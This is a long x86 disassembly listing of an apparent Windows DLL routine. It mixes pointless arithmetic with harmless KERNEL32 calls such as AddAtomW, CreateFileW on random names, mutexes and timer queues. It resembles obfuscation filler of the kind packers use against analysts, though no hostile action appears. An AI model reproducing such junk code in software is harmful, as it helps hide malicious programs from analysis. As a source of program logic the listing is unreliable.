mov eax, dword [ebp - 0x3cc4]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov dword [ebp - 0x3838], ecx
mov edx, dword [ebp - 0x3ec0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x46b4]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b7f26], al
mov dword [ebp - 0x54b4], 0x100b8572
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x54b8], eax
movzx eax, word [ebp - 0x59c]
movzx ecx, word [ebp - 0x121c]
or eax, ecx
mov word [ebp - 0x128c], ax
movzx edx, word [ebp - 0x53c]
mov eax, dword [ebp - 0x541c]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100bbd8c], dx
mov ecx, dword [ebp - 0x4c64]
mov dword [ebp - 0x54bc], ecx
movsx edx, word [ebp - 0x182c]
mov eax, dword [ebp - 0x35bc]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x494c]
mov word [ecx], dx
lea edx, [ebp - 0xb614]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x1b3e
mov eax, dword [0x100baf60]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4b34], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbf90], eax
movzx ecx, word [0x100ba498]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x18fc], ax
mov edx, dword [ebp - 0x3c7c]
mov dword [0x100bbf94], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4ed8], eax
mov dword [ebp - 0x54c0], 0x100b728e
movzx eax, byte [0x100b7187]
mov ecx, dword [ebp - 0x33f4]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b737b], al
lea eax, [ebp - 0xa88]
mov dword [ebp - 0x54c4], eax
mov ecx, dword [ebp - 0x3f74]
and ecx, dword [ebp - 0x426c]
mov dword [ebp - 0x2ae0], ecx
mov edx, dword [0x100ba9f8]
xor edx, dword [0x100bb928]
mov dword [0x100b7404], edx
push str.79kWu6
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbf98], ax
mov eax, dword [ebp - 0x3a94]
movsx ecx, word [eax]
movsx edx, word [0x100baec0]
add ecx, edx
mov word [ebp - 0x77c], cx
mov eax, dword [ebp - 0x499c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5398]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x2c1], cl
lea ecx, [ebp - 0x2c6]
mov dword [0x100bbf9c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x54c8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba594], eax
push 0x254f
mov edx, dword [0x100bb7e0]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3ce0], eax
mov eax, dword [ebp - 0x4fe4]
mov cl, byte [eax]
mov byte [ebp - 0x32f], cl
mov edx, dword [ebp - 0x4710]
mov eax, dword [ebp - 0x50e4]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2e18], ecx
movzx edx, word [0x100b7260]
movzx ecx, word [ebp - 0xe14]
shl edx, cl
mov eax, dword [0x100ba6e4]
mov word [eax], dx
mov ecx, dword [ebp - 0x3ea4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x5d8]
sar edx, cl
mov eax, dword [ebp - 0x35ac]
mov word [eax], dx
mov ecx, dword [ebp - 0x2f84]
and ecx, dword [0x100bafa0]
mov dword [ebp - 0x3110], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4dfc], eax
push 0
push 4
push 1
push 0
push 8
push 0x80000000
push str.u2T2ocVkFu5Lq7jTRh
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbfa0], eax
movzx edx, byte [ebp - 0x299]
movzx eax, byte [0x100b8572]
add edx, eax
mov ecx, dword [0x100bb2cc]
mov byte [ecx], dl
lea edx, [ebp - 0x234]
mov dword [ebp - 0x54cc], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x54d0], eax
mov eax, dword [ebp - 0x3e4c]
mov ecx, dword [eax]
and ecx, dword [0x100bb098]
mov dword [ebp - 0x4ed4], ecx
mov edx, dword [0x100bbda8]
mov ax, word [edx]
mov word [0x100bbfa4], ax
movzx ecx, word [0x100bb184]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbfa8], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x48f4], eax
movsx edx, word [ebp - 0xb00]
mov eax, dword [ebp - 0x4eb8]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3b40]
mov word [ecx], dx
mov dword [ebp - 0x54d4], 0x100bbb38
mov dl, byte [ebp - 0x2f7]
mov byte [0x100b86d3], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9dbc], eax
mov eax, dword [ebp - 0x4100]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2f6c]
shl edx, cl
mov eax, dword [ebp - 0x41a0]
mov dword [eax], edx
lea ecx, [ebp - 0x3748]
mov dword [ebp - 0x54d8], ecx
mov edx, dword [0x100bb6a8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3c]
or eax, ecx
mov edx, dword [0x100bb9dc]
mov byte [edx], al
movzx eax, word [ebp - 0x5d4]
imul ecx, eax, 0xf73
mov word [ebp - 0x1014], cx
mov edx, dword [ebp - 0x3c78]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1544]
xor eax, ecx
mov word [ebp - 0x1270], ax
mov edx, dword [ebp - 0x3a38]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2ea]
add eax, ecx
mov byte [0x100b737e], al
mov dl, byte [ebp - 0x14e]
mov byte [ebp - 0x330], dl
mov eax, dword [ebp - 0x5350]
mov ecx, dword [ebp - 0x41dc]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x5304]
mov dword [eax], edx
push str.9ED_DxMQ04jQ_Kcca_QmqpwG
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1900], ax
mov ecx, dword [0x100ba9bc]
mov edx, dword [ebp - 0x3d0c]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x100baaac], eax
movsx ecx, byte [ebp - 0x2c]
movsx edx, byte [ebp - 0x2a2]
xor ecx, edx
mov eax, dword [ebp - 0x34d0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4820]
movzx edx, word [ecx]
movzx eax, word [0x100bacbc]
sub edx, eax
mov word [ebp - 0x4bc], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3c20], eax
push 0x100bbfac
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x52e8]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x1530]
shl edx, cl
mov word [0x100b74e4], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbfd0], eax
lea eax, [ebp - 0x25e]
mov dword [ebp - 0x54dc], eax
push 0
push 2
push 3
push 0
push 4
push 0x40000000
push str.DYCBOLN1Rb
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x54e0], eax
mov ecx, dword [ebp - 0x4e8c]
mov edx, dword [ebp - 0x3494]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x3050], eax
mov ecx, dword [ebp - 0x50d8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4200]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100bbb28]
mov word [eax], dx
mov ecx, dword [ebp - 0x4f2c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3a2c]
mov eax, dword [ebp - 0x49f8]
mov dword [eax], edx
mov cl, byte [ebp - 0x278]
mov byte [ebp - 0x331], cl
mov edx, dword [ebp - 0x4150]
mov ax, word [edx]
mov word [0x100bbfd4], ax
lea ecx, [ebp - 0x26f]
mov dword [ebp - 0x54e4], ecx
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x5298]
mov eax, dword [0x100bbb0c]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov edx, dword [ebp - 0x438c]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x510c], eax
mov eax, dword [ebp - 0x4104]
movsx ecx, byte [eax]
movsx edx, byte [0x100b80fb]
xor ecx, edx
mov eax, dword [0x100bb0ec]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3b5c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1100]
sar edx, cl
mov eax, dword [ebp - 0x4194]
mov word [eax], dx
mov cx, word [ebp - 0x4bc]
mov word [ebp - 0x1904], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x54e8], eax
push 1
lea edx, [ebp - 0x980c]
push edx
mov eax, dword [0x100bbfdc]
push eax
mov ecx, dword [0x100bbfd8]
push ecx
mov edx, dword [0x100ba118]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x54ec], eax
mov eax, dword [0x100ba03c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100bbfe0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [0x100b9bb0]
mov eax, dword [ebp - 0x4d38]
xor edx, edx
div dword [ecx]
mov dword [0x100ba56c], eax
lea edx, [ebp - 0x18ec]
mov dword [ebp - 0x54f0], edx
mov eax, dword [ebp - 0x3ba8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x2fd], cl
lea ecx, [ebp - 0x3f4c]
mov dword [0x100bbff8], ecx
mov edx, dword [ebp - 0x3f18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1ab]
shl eax, cl
mov byte [ebp - 0x307], al
lea ecx, [ebp - 0x674]
mov dword [ebp - 0x54f4], ecx
movzx edx, word [ebp - 0xfd0]
mov eax, dword [0x100ba52c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100bbf88]
mov word [eax], dx
mov ecx, dword [ebp - 0x4540]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4768]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x516c]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3d28], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bbe30], eax
movzx ecx, word [ebp - 0x18d0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1908], ax
lea edx, [ebp - 0x51bc]
mov dword [0x100bbffc], edx
movsx eax, word [ebp - 0x1018]
movsx ecx, word [ebp - 0x1714]
or eax, ecx
mov word [ebp - 0xd04], ax
mov edx, dword [ebp - 0x3c30]
mov al, byte [edx]
mov byte [ebp - 0x332], al
mov ecx, dword [ebp - 0x522c]
mov edx, dword [ecx]
xor edx, dword [0x100bbc3c]
mov dword [0x100b74e8], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc000], eax
movzx eax, word [ebp - 0x1650]
movzx ecx, word [ebp - 0x1780]
sar eax, cl
mov word [ebp - 0xfd0], ax
lea ecx, [ebp - 0x4c78]
mov dword [ebp - 0x54f8], ecx
movzx edx, word [0x100ba9a4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x190c], ax
mov eax, dword [ebp - 0x3e9c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4dac]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [0x100baf5c]
mov word [edx], cx
mov eax, dword [ebp - 0x2b7c]
and eax, dword [ebp - 0x2af0]
mov dword [ebp - 0x2af4], eax
movzx ecx, byte [0x100b726e]
mov edx, dword [ebp - 0x3c84]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x59], cl
movsx edx, byte [ebp - 0x1f4]
movsx ecx, byte [0x100b733e]
shl edx, cl
mov byte [0x100b81eb], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x48a0], eax
push 0x100bc004
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x45dc]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7257]
xor ecx, edx
mov byte [ebp - 0x2d7], cl
push str.C9JAlY3W_PUUYY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1910], ax
push 0x100f
push 0
push 0x100b9838
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc01c], eax
mov eax, dword [ebp - 0x3920]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [0x100bb634]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12a4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x54fc], eax
mov edx, dword [ebp - 0x32fc]
or edx, dword [ebp - 0x3018]
mov dword [ebp - 0x2d5c], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc020], eax
mov al, byte [ebp - 0x256]
mov byte [0x100b86e2], al
movsx edx, word [ebp - 0x700]
mov eax, dword [ebp - 0x41ec]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x49e8]
mov word [ecx], dx
mov edx, dword [ebp - 0x33b0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100baf2c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc024], eax
mov eax, dword [ebp - 0x36f0]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3428]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x8f8], cx
mov ecx, dword [0x100ba5d0]
mov edx, dword [ecx]
mov dword [0x100bc028], edx
mov al, byte [ebp - 0x144]
mov byte [ebp - 0x333], al
mov ecx, dword [ebp - 0x4abc]
mov dword [ebp - 0x5500], ecx
mov edx, dword [0x100ba2c4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1e1]
and eax, ecx
mov byte [0x100b85df], al
movzx edx, word [ebp - 0x162c]
movzx ecx, word [ebp - 0x151c]
shl edx, cl
mov eax, dword [ebp - 0x4a84]
mov word [eax], dx
mov ecx, dword [ebp - 0x53ec]
movsx edx, word [ecx]
mov eax, dword [0x100bb144]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x9c8], dx
push 0
push 0x40
push 0
push 0
push 8
push 0x40000000
push str.FucMDpwAG5o88OCVfkpVjY
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5504], eax
mov edx, dword [ebp - 0x3f90]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x32f]
add eax, ecx
mov byte [0x100b8493], al
push 0x3be
mov edx, dword [0x100baff0]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x527c], eax
movzx eax, word [ebp - 0x8a0]
movzx ecx, word [ebp - 0x72c]
sar eax, cl
mov word [ebp - 0x16ec], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5508], eax
mov ecx, dword [ebp - 0x2a78]
or ecx, dword [0x100ba468]
mov edx, dword [ebp - 0x4630]
mov dword [edx], ecx
lea eax, [ebp - 0x5494]
mov dword [0x100bc02c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc030], eax
mov ecx, dword [0x100bac70]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3bb0]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x164], dl
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x50ac]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x46a0]
mov word [ecx], ax
push 0x10b7
push 0
lea edx, [ebp - 0x4174]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc034], eax
mov eax, dword [0x100bb2c0]
movsx eax, byte [eax]
cdq
mov ecx, 0x59
idiv ecx
mov byte [0x100b737f], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba6f4], eax
lea edx, [ebp - 0x179c]
mov dword [ebp - 0x550c], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5510], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc038], eax
mov eax, dword [ebp - 0x3f00]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x32fc]
mov dword [ebp - 0x52a4], ecx
mov edx, dword [0x100bae44]
mov eax, dword [ebp - 0x4fc4]
mov ecx, dword [edx]
shl eax, cl
mov dword [0x100ba468], eax
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
push 0x100aa1a0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5514], eax
mov cl, byte [ebp - 0x31a]
mov byte [ebp - 0x334], cl
movsx edx, byte [0x100b813b]
movsx eax, byte [ebp - 0x264]
add edx, eax
mov ecx, dword [ebp - 0x3f18]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3a30]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1530]
sar eax, cl
mov ecx, dword [0x100baff4]
mov word [ecx], ax
mov dx, word [ebp - 0xab4]
mov word [ebp - 0x1914], dx
push 0x100b9e80
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [ebp - 0x1268]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x186c], ax
mov dword [ebp - 0x5518], 0x1601
mov ecx, dword [ebp - 0x359c]
mov edx, dword [0x100b994c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x4fdc], eax
mov ecx, dword [0x100ba538]
mov dl, byte [ecx]
mov byte [0x100b86e3], dl
lea eax, [ebp - 0xcb]
mov dword [ebp - 0x551c], eax
movzx ecx, word [0x100ba120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc03c], ax
mov edx, dword [0x100ba590]
mov eax, dword [edx]
imul eax, dword [ebp - 0x4844]
mov dword [ebp - 0x2fc8], eax
mov ecx, dword [ebp - 0x3808]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4be8]
movzx ecx, word [eax]
or edx, ecx
mov word [0x100b74ec], dx
push 0x100aa19c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1918], ax
mov edx, dword [ebp - 0x3cd0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x5e0]
add eax, ecx
mov edx, dword [ebp - 0x38bc]
mov word [edx], ax
mov eax, dword [ebp - 0x43e8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.S8lG_RUbk6Sy_2AtC2Qj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc040], ax
mov edx, dword [0x100b72fc]
mov ecx, dword [ebp - 0x3780]
shl edx, cl
mov eax, dword [ebp - 0x3760]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x2db]
movsx edx, byte [ebp - 0x236]
and ecx, edx
mov byte [0x100b7ec6], cl
mov eax, dword [ebp - 0x387c]
movzx edx, byte [eax]
mov eax, dword [0x100baa3c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x168], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbd24], eax
mov ecx, dword [ebp - 0x41a4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3d58]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x8a8], dx
lea edx, [ebp - 0x151c]
mov dword [0x100bc044], edx
lea eax, [ebp - 0x3064]
mov dword [ebp - 0x5520], eax
push 0
push 0x400
push 5
push 0
push 8
push 0xc0000000
push str.D6P6HlQyqtqh77nt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5524], eax
mov dword [ebp - 0x5528], 0x100b7214
mov ecx, dword [ebp - 0x54f8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3008]
mov eax, dword [0x100b975c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x51c8]
movsx edx, byte [ecx]
mov eax, dword [0x100ba078]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x177], dl
push 2
push 0x100bb5c8
mov edx, dword [ebp - 0x9910]
push edx
mov eax, dword [ebp - 0x9914]
push eax
mov ecx, dword [0x100ba894]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x37c8], eax
mov edx, dword [ebp - 0x54d0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bc048], eax
movzx eax, byte [ebp - 0x231]
mov ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100ba2c4]
mov byte [ecx], al
mov dword [ebp - 0x552c], 0x100ba598
mov edx, dword [ebp - 0x4ab0]
mov eax, dword [0x100b9b18]
imul eax, dword [edx]
mov ecx, dword [ebp - 0x53f8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x41c8]
sub edx, dword [0x100b7334]
mov dword [0x100b74f0], edx
mov eax, dword [0x100bb5ec]
movsx edx, word [eax]
mov eax, dword [ebp - 0x3774]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x5120]
mov word [ecx], dx
mov edx, dword [0x100bb114]
mov al, byte [edx]
mov byte [ebp - 0x335], al
push 0
push 0x20
push 2
push 0
push 4
push 0x80000000
push str.KMkmHFZ6DUkz9a4uiakYfV5h
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5530], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba798], eax
lea ecx, [ebp - 0x1b2]
mov dword [0x100bc04c], ecx
movsx edx, byte [0x100b7e03]
movsx ecx, byte [ebp - 0x60]
sar edx, cl
mov byte [ebp - 0x304], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc050], eax
push str.c1V_ZgzH_s7fjgd_XG7M28JW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x191c], ax
mov eax, dword [ebp - 0x3478]
mov ecx, dword [eax]
mov dword [ebp - 0x5534], ecx
push 0x100baffc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x15c8]
movzx eax, word [ebp - 0xc04]
xor edx, eax
mov ecx, dword [0x100bbca4]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d10], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5538], eax
lea edx, [ebp - 0x784]
mov dword [ebp - 0x553c], edx
mov eax, dword [ebp - 0x3324]
add eax, dword [ebp - 0x4f78]
mov dword [ebp - 0x53b4], eax
push str.WmPpPJ9JRF3_LkY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc054], ax
mov ecx, dword [ebp - 0x3884]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4e4c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [0x100b71af], dl
movsx edx, byte [ebp - 0xb]
movsx eax, byte [0x100b7217]
xor edx, eax
mov ecx, dword [ebp - 0x4420]
mov byte [ecx], dl
lea edx, [ebp - 0x3768]
mov dword [ebp - 0x5540], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbc7c], eax
lea eax, [ebp - 0xfd4]
mov dword [0x100bc058], eax
mov ecx, dword [ebp - 0x4f98]
movsx edx, word [ecx]
mov eax, dword [0x100bbbb8]
movsx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xcb0], dx
movzx edx, word [ebp - 0x130c]
movzx eax, word [ebp - 0xa34]
xor edx, eax
mov word [ebp - 0x1098], dx
push 0x244a
mov ecx, dword [ebp - 0x5164]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bc05c], eax
push str.VyjYiZWnTEIHDgAiP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1920], ax
movzx edx, byte [ebp - 0x310]
mov eax, dword [ebp - 0x4044]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b814f], dl
mov ecx, dword [0x100bb974]
mov edx, dword [ebp - 0x3230]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x2ed0], edx
mov eax, dword [ebp - 0x4710]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x52a4]
mov edx, dword [ebp - 0x4e44]
mov dword [edx], ecx
lea eax, [ebp - 0x129]
mov dword [0x100bc060], eax
push str.OJJd8nh4_AebH8_BguapLW_YLk3QQU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc064], ax
lea ecx, [ebp - 0x7ac]
mov dword [ebp - 0x5544], ecx
movzx edx, word [ebp - 0x1174]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1924], ax
mov eax, dword [0x100ba6d0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x11e0]
and ecx, edx
mov eax, dword [ebp - 0x4470]
mov word [eax], cx
push 0x5b7
push 0
push 0x100ba7a4
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc068], eax
mov cl, byte [ebp - 0xf0]
mov byte [0x100b86ea], cl
push 0
push 0x100b9710
mov edx, dword [0x100b9d24]
push edx
mov eax, dword [0x100b9d20]
push eax
mov ecx, dword [ebp - 0x38f4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4e90], eax
push str.F_fiPtnUPp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1928], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5548], eax
movzx edx, byte [0x100b7fd3]
mov eax, dword [0x100bb9c8]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2aa], dl
lea edx, [ebp - 0x2f98]
mov dword [ebp - 0x554c], edx
mov eax, dword [ebp - 0x4dc8]
mov ecx, dword [ebp - 0x4494]
add ecx, dword [eax]
mov edx, dword [0x100bada8]
mov dword [edx], ecx
push 1
lea eax, [ebp - 0x98ec]
push eax
mov ecx, dword [0x100bc074]
push ecx
mov edx, dword [0x100bc070]
push edx
mov eax, dword [0x100ba4dc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4454], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba51c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5550], eax
movsx ecx, byte [ebp - 0x269]
mov edx, dword [0x100bae68]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x472c]
mov byte [edx], cl
mov ax, word [ebp - 0x11cc]
mov word [ebp - 0x192c], ax
push 0
push 0x400
push 1
push 0
push 1
push 0x40000000
push str.b334OBhuPv_vDQjmF8I3KrSi7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc06c], eax
lea ecx, [ebp - 0x7d0]
mov dword [0x100bc078], ecx
lea edx, [ebp - 0x99]
mov dword [ebp - 0x5554], edx
mov eax, dword [ebp - 0x523c]
mov ecx, dword [ebp - 0x45c4]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x2bd8], edx
movzx eax, word [ebp - 0x136c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb46c], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5558], eax
push 0
push 0x100
push 5
push 0
push 1
push 0x80000000
push str.M1S0AejA4dV4BjCq
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc07c], eax
mov ecx, dword [ebp - 0x4ff4]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1848]
shl edx, cl
mov eax, dword [0x100b9cc8]
mov word [eax], dx
mov edx, dword [0x100baae0]
mov ecx, dword [0x100bb740]
shr edx, cl
mov eax, dword [ebp - 0x346c]
mov dword [eax], edx
mov ecx, dword [0x100ba3f0]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp - 0xad80]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc080], eax
push 0x2049
push 0x14f7
push 0x2cd
push 0x25d7
mov eax, dword [ebp - 0x35d4]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x555c], eax
